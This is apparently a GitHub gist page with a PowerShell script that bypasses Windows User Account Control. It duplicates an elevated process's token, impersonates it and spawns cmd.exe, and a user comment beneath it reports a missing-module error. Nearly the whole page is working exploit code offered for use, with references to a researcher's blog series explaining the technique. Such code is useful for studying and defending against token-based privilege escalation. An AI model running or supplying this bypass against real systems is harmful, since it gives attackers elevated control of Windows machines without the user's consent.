Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
# Powershell script to bypass UAC on Vista+ assuming
# there exists one elevated process on the same desktop.
# Technical details in:
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-1.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-2.html
# https://tyranidslair.blogspot.co.uk/2017/05/reading-your-way-around-uac-part-3.html
# You need to Install-Module NtObjectManager for this to run.
Import-Module NtObjectManager
# Function to find the first accessible elevated token.
function Get-ElevatedToken {
Param([switch]$NoFilter)
$token = $null
while ($true) {
Write-Host "Checking for elevated processes"
$token = Use-NtObject($ps = Get-NtProcess) {
foreach($p in $ps) {
try {
$ret = Use-NtObject($token = Get-NtToken -Primary `
-Process $p -Duplicate `
-IntegrityLevel Medium) {
if ($token.Elevated) {
Write-Host "Found elevated token in process $p - Pid $($p.ProcessId)"
return $token.Duplicate()
}
}
if ($ret -ne $null) {
return $ret
}
} catch {
}
}
}
if ($token -ne $null) {
break
}
Start-Sleep -Seconds 1
}
if (!$NoFilter) {
# Filter to remove elevated groups/privileges.
$token = Use-NtObject($token) {
Get-NtFilteredToken $token -Flags LuaToken
}
}
return $token
}
Use-NtObject($lua_token = Get-ElevatedToken) {
Use-NtObject($lua_token.Impersonate()) {
[SandboxAnalysisUtils.Win32Process]::CreateProcessWithLogin("Badger", "Badger", "Badger",
"NetCredentialsOnly", "cmd.exe", "cmd.exe", 0, "WinSta0\Default")
}
}
@moaeddy

This comment has been minimized.

Copy link

commented Apr 26, 2019

got this error

Import-Module : The specified module 'NtObjectManager' was not loaded because no valid module file was found in any
module directory.
At C:\Users\1\Desktop\UI.ps1:19 char:1

  • Import-Module NtObjectManager
  •   + CategoryInfo          : ResourceUnavailable: (NtObjectManager:String) [Import-Module], FileNotFoundException
      + FullyQualifiedErrorId : Modules_ModuleNotFound,Microsoft.PowerShell.Commands.ImportModuleCommand
    
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.